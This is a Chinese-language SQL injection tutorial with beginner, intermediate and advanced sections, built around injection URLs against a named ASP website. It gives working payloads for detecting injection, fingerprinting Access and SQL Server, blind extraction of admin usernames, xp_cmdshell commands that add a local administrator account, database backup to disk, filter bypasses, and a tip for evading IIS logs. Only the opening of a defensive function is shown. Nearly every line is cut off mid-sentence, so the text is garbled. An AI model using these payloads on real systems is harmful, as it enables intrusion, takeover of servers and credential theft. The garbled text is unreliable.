引言 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能 根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%, 入 门 篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=> 第一节、SQL注入原理 以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大 在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为: Microsoft JET Database Engine 错误 '80040e14' 字符串的语法错误 在查询表达式 'ID=49'' 中。 /showdetail.asp,行8 从这个错误提示我们能看出下面几点: 1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。 2.程序没有判断客户端提交的数据是否符合程序要求。 3.该SQL语句所查询的表中有一名为ID的字段。 从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从 第二节、判断能否进行SQL注入 看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗 其实,这并不是最好的方法,为什么呢? 首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了 其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了, 那么,什么样的测试方法才是比较准确呢?答案如下: ② http://www.19cn.com/showdetail.asp?id=49 and 1=1 ③ http://www.19cn.com/showdetail.asp?id=49 and 1=2 这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知 可以注入的表现: ① 正常显示(这是必然的,不然就是程序有错误了) ② 正常显示,内容基本与①相同 ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时 不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错 当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字 第三节、判断数据库类型及注入方法 不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一 怎么让程序告诉你它使用的什么数据库呢?来看看: SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误 http://www.19cn.com/showdetail.asp?id=49 and user>;0 这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次 顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色, 如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从 在确认可以注入的情况下,使用下面的语句: http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from 如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn. 如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全 进 阶 篇 在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是 第一节、SQL注入的一般步骤 首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。 其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下 (A)ID=49 这类注入的参数是数字型,SQL语句原貌大致如下: (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下: Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’ (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下: 接着,将查询条件替换成SQL语句,猜解表名,例如: ID=49 And (Select Count(*) from Admin)>=0 如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在 表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。 有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得 有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及 最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一 我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测 http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) 先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、 当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在 id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0 同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的 第二节、SQL注入常用函数 有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提 Access:asc(字符)SQLServer:unicode(字符) Access:chr(数字)SQLServer:nchar(数字) Access:mid(字符串,N,L)SQLServer:substring(字符串,N,L) Access:abc(数字)SQLServer:abc (数字) Access:A between B And CSQLServer:A between B And C 第三节、中文处理方法 在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数 了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用 高 级 篇 看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名 第一节、利用系统表注入SQLServer数据库 SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开 ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name 分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以 ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup 将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限! ③ http://Site/url.asp?id=1 and db_name()>0 前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系 ④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c: 这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径, ⑤ http://Site/url.asp?id=1 and (Select Top 1 name from sysobjects 前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及 ⑥ http://Site/url.asp?id=1 and (Select Top 1 col_name(object_id(‘表名 从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名 以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对 第二节、绕过程序限制继续注入 在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的 在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含 简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where 第三节、经验小结 1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所 2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都 3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号 4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所 5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要 防 范 方 法 SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是 Function SafeRequest(ParaName,ParaType) Dim Paravalue
|